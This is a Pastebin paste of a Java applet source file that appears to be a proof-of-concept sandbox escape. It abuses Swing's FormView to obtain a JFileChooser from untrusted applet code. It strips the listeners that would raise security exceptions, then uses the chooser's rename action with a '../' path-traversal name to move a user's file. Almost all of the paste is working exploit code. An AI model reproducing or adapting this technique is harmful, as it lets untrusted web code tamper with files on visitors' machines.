Guest User

Sami

a guest
Feb 6th, 2011
2,744
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package ex7.filechooser;
  2.  
  3. import java.awt.*;
  4. import java.awt.event.ActionListener;
  5. import java.io.File;
  6. import java.lang.reflect.*;
  7.  
  8. import javax.swing.*;
  9. import javax.swing.event.ListDataListener;
  10. import javax.swing.filechooser.FileFilter;
  11. import javax.swing.text.*;
  12. import javax.swing.text.html.*;
  13.  
  14. public class Example extends java.applet.Applet {
  15.  
  16.     void execute(ActionListener al) {
  17.         Timer timer = new  Timer(0, al);
  18.         timer.setRepeats(false);
  19.         timer.start();
  20.     }
  21.    
  22.     public void start() {
  23.         try {
  24.             demo();
  25.         } catch (Throwable t) {
  26.             t.printStackTrace();
  27.         }
  28.     }
  29.  
  30.     private void demo() throws Throwable {
  31.         // Use FormView to create a JFileChooser
  32.         final SimpleAttributeSet as = new SimpleAttributeSet();
  33.         as.addAttribute(StyleConstants.NameAttribute, HTML.Tag.INPUT);
  34.         as.addAttribute(HTML.Attribute.TYPE, "file");
  35.         // Use proxy to save space and confuse blog readers
  36.         Element element = (Element) Proxy.newProxyInstance(null, new Class[] {Element.class}, new InvocationHandler(){
  37.             public Object invoke(Object proxy, Method method, Object[] args)
  38.                     throws Throwable {
  39.                 if (method.getName().equals("getAttributes")) {
  40.                     return as;
  41.                 }
  42.                 return null;
  43.             }
  44.         });
  45.         FormViewAccessor fv = new FormViewAccessor(element);
  46.         Box box = (Box) fv.createComponent();
  47.         JButton button = (JButton) box.getComponent(2);
  48.            
  49.         execute(button.getActionListeners()[0]);
  50.  
  51.         // get a ref to the JFileChooser
  52.         JDialog dlg = null;
  53.         JFileChooser fc = null;
  54.         whileLoop:
  55.         while (true) {
  56.             for (Window w : Window.getWindows()) {
  57.                 if (w.getClass().getName().equals("javax.swing.JDialog")) {
  58.                     try {
  59.                         dlg = (JDialog) w;
  60.                         JRootPane root = dlg.getRootPane();
  61.                         JLayeredPane layered = (JLayeredPane) root.getComponent(1);
  62.                         JPanel panel = (JPanel) layered.getComponent(0);
  63.                         fc = (JFileChooser) panel.getComponent(0);
  64.                         break whileLoop;
  65.                     } catch (Exception t) {
  66.                     }
  67.                 }
  68.             }
  69.         }
  70.  
  71.         // change folder
  72.         JPanel panel = (JPanel) fc.getComponent(0);
  73.         JComboBox combo = (JComboBox) panel.getComponent(2);
  74.  
  75.         // remote listeners, because they would cause security exceptions
  76.         ActionListener comboSelectionListener = combo.getActionListeners()[0];
  77.         combo.removeActionListener(comboSelectionListener);
  78.         AbstractListModel alm = (AbstractListModel) combo.getModel();
  79.  
  80.         for (ListDataListener ldl : alm.getListDataListeners()) {
  81.             alm.removeListDataListener(ldl);
  82.         }
  83.         // first folder in combo
  84.         combo.setSelectedIndex(0);
  85.  
  86.         // call the listener
  87.         execute(comboSelectionListener);
  88.  
  89.         // rename
  90.         JPanel filePane = (JPanel) fc.getComponent(2);
  91.         ActionMap map = filePane.getActionMap();
  92.         Action editFile = (Action) map.get(map.keys()[1]);
  93.         Container child1 = (Container) filePane.getComponent(0);
  94.         Container child2 = (Container) child1.getComponent(0);
  95.         Container child3 = (Container) child2.getComponent(0);
  96.         Thread.sleep(1000);
  97.         JList list = (JList) child3.getComponent(0);
  98.        
  99.         // 6th file
  100.         list.setSelectedIndex(5);
  101.    
  102.         Timer timer2 = new Timer(0, editFile);
  103.         timer2.setRepeats(false);
  104.         timer2.start();
  105.         Thread.sleep(1000);
  106.         JTextField f = (JTextField) list.getComponent(1);
  107.         // define new name
  108.         f.setText("../new" + f.getText());
  109.        
  110.         // execute rename
  111.         execute(f.getActionListeners()[0]);
  112.     }
  113.  
  114. }
  115.  
  116. class FormViewAccessor extends FormView {
  117.     public FormViewAccessor(Element elem) {
  118.         super(elem);
  119.     }
  120.     // change visibility protected -> public
  121.     public Component createComponent() {
  122.         return super.createComponent();
  123.     }
  124. }
RAW Paste Data